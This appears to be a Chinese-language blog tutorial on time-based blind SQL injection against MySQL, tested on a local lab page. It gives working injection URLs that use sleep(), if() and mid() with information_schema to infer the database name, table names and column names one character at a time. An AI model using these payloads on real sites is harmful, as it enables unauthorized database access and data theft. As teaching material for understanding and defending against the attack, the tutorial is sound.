SQL盲注:基于时间延迟注入

普通联合注入和盲注的区别:

普通注入:效率高,兼容性差。

盲注:效率较低,兼容性强。

 

SQL注入工具采用的基本都为盲注及其它注入。这里以Mysql盲注为示例:

 

这里需要用上Mysql的4个函数:sleep()、if()、mid()、ord();

  • sleep()
  • if(条件,True,False)
  • mid(str,1,1) 截取
  • ord ascii编码

 

mysql> select x from xiaodi.user where id=1 and sleep(1);
mysql> select if(1=1,100,200);

 

1、判断当前数据库名称是否正确?

127.0.0.1/test/sqlin.php?x=1 and sleep(if((select database()='xiaodi'),0,5))

返回0.00sec,判断成功。

其实,很多时候,我们是不知道数据库名称的,因此像上面这么判断肯定是不行的。

 

2、判断当前数据库名称长度

127.0.0.1/test/sqlin.php?x=1 and sleep(if((select length(database())=6),0,5))

需要5秒,数据库名称长度=6,说明不对。

 

127.0.0.1/test/sqlin.php?x=1 and sleep(if((select length(database())=5),0,5))

需要0秒,数据库名称长度=5,说明对。

 

3、获取表名长度

127.0.0.1/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(table_name)=4,0,5)) from information_schema.tables where table_schema=database() limit 0,1

需要5秒,表名长度=4,说明不对。

 

127.0.0.1/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(table_name)=6,0,5)) from information_schema.tables where table_schema=database() limit 0,1

需要0秒,表名长度=6,说明对。

 

4、猜解表名

 

第一位值:

127.0.0.1/test/sqlin.php?x=1 union select 1,2,3,sleep(if(mid(table_name,1,1)='l',0,5)) from information_schema.tables where table_schema=database() limit 0,1

需要0秒,表名第一位值是l。

 

第二位值:

127.0.0.1/test/sqlin.php?x=1 union select 1,2,3,sleep(if(mid(table_name,1,1)='i',0,5)) from information_schema.tables where table_schema=database() limit 0,1

需要0秒,表名第二位值是i。

 

.......

 

问题:获取第X个数据库名及表名,列名的问题。

 

5、获取列名

 

第一个列名:

127.0.0.1/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(column_name)=4,0,5)) from information_schema.columns where table_name='liuyan' limit 0,1

 

第二个列名:

127.0.0.1/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(column_name)=4,0,5)) from information_schema.columns where table_name='liuyan' limit 1,1

 

第三个列名:

127.0.0.1/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(column_name)=4,0,5)) from information_schema.columns where table_name='liuyan' limit 2,1

 

......

头像
  • ¥ 1999.9元
  • 市场价:20000元
  • ¥ 99.0元
  • 市场价:129.0元
  • ¥ 1.0元
  • 市场价:9.9元
  • ¥ 798.0元
  • 市场价:1298.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: